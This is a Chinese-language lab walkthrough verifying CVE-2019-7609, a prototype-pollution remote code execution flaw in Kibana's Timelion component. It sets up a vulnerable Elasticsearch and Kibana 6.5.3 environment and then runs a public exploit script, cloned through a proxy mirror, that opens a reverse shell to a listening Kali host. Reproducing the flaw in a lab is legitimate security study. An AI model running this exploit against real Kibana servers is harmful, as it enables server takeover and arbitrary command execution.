CVE-2019-7609 Kibana远程代码执行漏洞验证
简介
攻击者利用漏洞可以通过Timelion组件中的JavaScript原型链污染攻击,向Kibana发起相关请求,从而接管所在服务器,在服务器上执行任意命令。
影响版本
Kibana < 6.6.1
Kibana < 5.6.15
环境搭建
1、安装jdk
rpm -ivh https://repo.huaweicloud.com/java/jdk/8u202-b08/jdk-8u202-linux-x64.rpm
a、配置环境变量-用户环境变量:
vim /etc/profile
export JAVA_HOME=/usr/java/jdk1.8.0_202-amd64
export JAVA_BIN=/usr/java/jdk1.8.0_202-amd64/bin
export PATH=$PATH:$JAVA_HOME/bin
export CLASSPATH=:$JAVA_HOME/lib/dt.jar:$JAVA_HOME/lib/tools.jar
export JAVA_HOME JAVA_BIN PATH CLASSPATH
b、使配置生效
source /etc/profile
2、安装Elasticsearch
wget https://artifacts.elastic.co/downloads/elasticsearch/elasticsearch-6.5.3.tar.gz
tar -zxvf elasticsearch-6.5.3.tar.gz
a、不要用root用户运行,先创建普通用户
useradd hzhw
passwd hzhw
chown hzhw.hzhw
./elasticsearch-6.5.3 -R
b、然后切换hzhw权限运行
cd elasticsearch-6.5.3
./bin/elasticsearch
3、安装Kibana
wget https://artifacts.elastic.co/downloads/kibana/kibana-6.5.3-linux-x86_64.tar.gz
tar –zxvf kibana-6.5.3-linux-x86_64.tar.gz
chown hzhw.hzhw
./kibana-6.5.3 -R
a、然后切换hzhw权限运行
cd kibana-6.5.3-linux-x86_64
./bin/kibana
b、端口无法访问,只能通过localhost:5601访问,解决方法:
vim config/kibana.yml
server.host: "192.168.25.207"
c、启动时的报错处理:
log [06:32:03.377] [warning][security] Generating a random key for xpack.security.encryptionKey. To prevent sessions from being invalidated on restart, please set xpack.security.encryptionKey in kibana.yml
log [06:32:03.382] [warning][security] Session cookies will be transmitted over insecure connections. This is not recommended. log
[06:32:05.303] [warning][reporting] Generating a random key for xpack.reporting.encryptionKey. To prevent pending reports from failing on restart, please set xpack.reporting.encryptionKey in kibana.yml
在config/kibana.yml中添加:
xpack.reporting.encryptionKey: "a_random_string"
9 xpack.security.encryptionKey: "something_at_least_32_characters"
d、重新启动,访问:http://192.168.25.207:5601
四、漏洞利用
1、Kali上监听端口,等待反连
2、执行攻击命令
git clone https://github.91chifun.workers.dev//https://github.com/yut0u/CVE-2019-7610.git
cd CVE-2019-7610/
python CVE-2019-7609-kibana-rce.py -u http://192.168.25.207:5601 -host 192.168.20.143 -port 8888 --shell
3、反向成功,得到shell权限